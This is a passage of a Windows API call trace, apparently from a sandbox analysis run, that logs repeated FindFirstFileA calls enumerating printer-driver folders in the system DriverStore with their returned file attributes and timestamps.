FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnhp004.inf_amd64_neutral_53f688945cfc24cc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5601e47b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cc04a59, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cc04a59, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.036] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnhp004.inf_amd64_neutral_53f688945cfc24cc\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5601e47b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x560dcb5c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x560dcb5c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.053] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnhp005.inf_amd64_neutral_914d6c300207814f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x562f1ea0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cc2abb9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cc2abb9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.054] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnhp005.inf_amd64_neutral_914d6c300207814f\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56318000, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x56448b02, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x56448b02, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.084] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnin002.inf_amd64_neutral_977d40799168c216\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56611b86, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cc76e7a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cc76e7a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.085] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnin002.inf_amd64_neutral_977d40799168c216\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56611b86, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x56a884ce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x56a884ce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.099] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnin003.inf_amd64_neutral_3a3c6293d0cda862\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56bb8fd0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cc9cfda, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cc9cfda, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.100] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnin003.inf_amd64_neutral_3a3c6293d0cda862\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56bb8fd0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x56c2b3f1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x56c2b3f1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.114] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnin004.inf_amd64_neutral_c8902ae660ab1360\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56da81b4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cce929b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cce929b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.115] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnin004.inf_amd64_neutral_c8902ae660ab1360\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56da81b4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x56df4474, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x56df4474, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.132] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnkm002.inf_amd64_neutral_7c42808e24ebff99\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56f4b0d7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cd0f3fb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cd0f3fb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.133] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnkm002.inf_amd64_neutral_7c42808e24ebff99\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56f4b0d7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x56f71237, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x56f71237, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.141] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnkm003.inf_amd64_neutral_48652cda3bb15180\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5707bbd9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cd3555b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cd3555b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.143] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnkm003.inf_amd64_neutral_48652cda3bb15180\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5707bbd9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x570c7e99, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x570c7e99, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.152] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnkm004.inf_amd64_neutral_d2aee42dc9c393ea\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x571ac6db, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cd3555b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cd3555b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.153] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnkm004.inf_amd64_neutral_d2aee42dc9c393ea\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x571ac6db, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x571ac6db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x571ac6db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.155] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnkm005.inf_amd64_neutral_c03c9e328608873e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57290f1d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cd5b6bb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cd5b6bb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.156] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnkm005.inf_amd64_neutral_c03c9e328608873e\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57290f1d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x57290f1d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x57290f1d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.158] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnky002.inf_amd64_neutral_525d9740c77e325f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57ae5c2c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cd5b6bb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cd5b6bb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.159] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnky002.inf_amd64_neutral_525d9740c77e325f\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57ae5c2c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x57b31eed, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x57b31eed, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.170] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnky003.inf_amd64_neutral_fe7ea176f20ab839\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57c629ef, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cd8181c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cd8181c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.171] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnky003.inf_amd64_neutral_fe7ea176f20ab839\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57c629ef, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x57cd4e10, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x57cd4e10, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.183] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnky004.inf_amd64_neutral_5db759db19acd3ae\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57ddf7b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cda797c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cda797c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.184] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnky004.inf_amd64_neutral_5db759db19acd3ae\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57ddf7b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x57e05912, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x57e05912, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.205] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnky005.inf_amd64_neutral_8836be987024e6a9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57eea153, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cdcdadc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cdcdadc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.206] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnky005.inf_amd64_neutral_8836be987024e6a9\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57eea153, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x57f102b4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x57f102b4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.239] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnky006.inf_amd64_neutral_522043c34551b0c0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57ff4af5, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cdcdadc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cdcdadc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.240] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnky006.inf_amd64_neutral_522043c34551b0c0\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57ff4af5, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5801ac56, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5801ac56, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.250] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnky007.inf_amd64_neutral_e637699044f367f3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x581255f7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cdf3c3c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cdf3c3c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.251] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnky007.inf_amd64_neutral_e637699044f367f3\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x581255f7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5814b758, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5814b758, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.259] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnky008.inf_amd64_neutral_9f6abc54cbf095f2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582560fa, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ce19d9d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ce19d9d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.260] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnky008.inf_amd64_neutral_9f6abc54cbf095f2\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582560fa, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5827c25a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5827c25a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.269] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnky009.inf_amd64_neutral_8e54c9ff272b72f1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58386bfc, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ce19d9d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ce19d9d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.270] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnky009.inf_amd64_neutral_8e54c9ff272b72f1\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58386bfc, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x583acd5c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x583acd5c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.278] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnle002.inf_amd64_neutral_c7564163ba063094\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x584dd85e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ce3fefd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ce3fefd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.279] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnle002.inf_amd64_neutral_c7564163ba063094\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x584dd85e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58575ddf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x58575ddf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.306] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnle003.inf_amd64_neutral_c61883abf66ddb39\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x586cca42, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ce8c1be, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ce8c1be, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.307] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnle003.inf_amd64_neutral_c61883abf66ddb39\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x586cca42, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5873ee63, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5873ee63, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.322] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnle004.inf_amd64_neutral_beb9bf23b7202bff\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x588bbc25, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ceb231e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ceb231e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.323] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnle004.inf_amd64_neutral_beb9bf23b7202bff\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x588bbc25, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5892e046, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5892e046, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.337] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnlx002.inf_amd64_neutral_12563574abbc36eb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58a389e8, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ced847e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ced847e, 